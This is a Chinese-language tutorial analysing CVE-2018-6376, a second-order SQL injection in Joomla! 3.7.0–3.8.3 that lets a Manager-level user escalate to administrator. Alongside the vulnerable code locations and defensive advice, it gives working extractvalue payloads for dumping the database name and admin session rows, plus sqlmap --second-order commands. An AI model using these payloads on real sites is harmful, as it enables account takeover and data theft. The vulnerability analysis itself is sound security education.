分析CVE-2018-6376 – Joomla!二阶SQL注入
字数 1524 2025-08-18 11:37:03
Joomla! 二阶SQL注入漏洞分析(CVE-2018-6376)教学文档
1. 漏洞概述
漏洞编号: CVE-2018-6376
影响版本: Joomla! 3.7.0 至 3.8.3
漏洞类型: 二阶SQL注入
危害等级: 高危
影响: 低权限用户(如Manager)可提升为高权限用户(Administrator或Super Administrator)
2. 二阶SQL注入原理
二阶SQL注入是指:
- 应用程序对用户输入进行了转义(escape)处理
- 但这些数据在后续查询中被以未转义的形式重复使用
- 攻击者注入的PAYLOAD会在后续查询中被执行
与一阶SQL注入的区别在于,注入的PAYLOAD不会立即执行,而是先被存储到数据库中,在后续操作中才被触发执行。
3. 漏洞详细分析
3.1 漏洞位置
受影响的功能位于:
- 用户配置文件更新页面(
/administrator/index.php?option=com_admin&view=profile&layout=edit) - 具体参数:
forms[params][admin_style]
3.2 漏洞利用流程
- 低权限用户登录:以Manager权限用户(如"savan")登录后台
- 拦截修改请求:使用Burp Suite拦截用户资料更新请求
- 注入PAYLOAD:在
forms[params][admin_style]参数中注入SQL代码 - 触发执行:访问后台首页(
/administrator/index.php)触发SQL查询执行
3.3 关键代码分析
漏洞存在于两个关键文件中:
-
/administrator/components/com_admin/controllers/profile.php
- 处理用户资料更新
- 将用户输入(包括
admin_style参数)存储到数据库,未进行充分过滤
-
/administrator/templates/hathor/postinstall/hathormessage.php
- 第40行:从
admin_style参数获取用户输入值 - 第47行:直接使用用户输入构建SQL查询,未进行转义处理
- 第40行:从
4. 漏洞利用步骤
4.1 手动利用
-
基本测试:
- 注入单引号
'测试是否存在注入 - 观察是否出现SQL错误或异常行为
- 注入单引号
-
确认注入点:
- 发现
admin_style参数被视为数组 - 需要使用
jform[params][admin_style][0]作为参数名才能正确注入
- 发现
-
获取数据库信息:
extractvalue(0x0a,concat(0x0a,(select database()))) -
获取管理员session:
extractvalue(0x0a,concat(0x0a,(select * from joomla_session where username='amish'))) -
权限提升:
- 获取管理员session后,可模拟管理员身份登录
4.2 自动化利用(SQLMap)
-
准备请求文件:
- 将包含注入点的HTTP请求保存为文件(如1.txt)
- 在
jform[params][admin_style][0]参数值中使用*标记注入点
-
基本检测命令:
sqlmap -r 1.txt --dbms MySQL --second-order "http://target/joomla/administrator/index.php" -
提取数据库信息:
sqlmap -r 1.txt --dbms MySQL --second-order "http://target/joomla/administrator/index.php" -D "joomla" --dbs
5. 防御措施
- 升级Joomla!:升级到3.8.5或更高版本
- 输入验证:
- 对所有用户输入进行严格验证
- 使用参数化查询或预处理语句
- 最小权限原则:限制数据库用户权限
- 代码层修复:
- 对
admin_style参数进行严格过滤 - 避免直接使用用户输入构建SQL查询
- 对
6. 学习要点
- 二阶SQL注入的特点和利用方式
- Joomla!后台权限提升的攻击链
- 复杂参数名(如数组形式)的注入技巧
- SQLMap在二阶注入中的特殊使用方法
- 从错误信息中提取有用信息的方法
7. 参考资源
- RIPS技术博客分析
- PortSwigger关于二阶SQL注入的说明
- Joomla!官方安全公告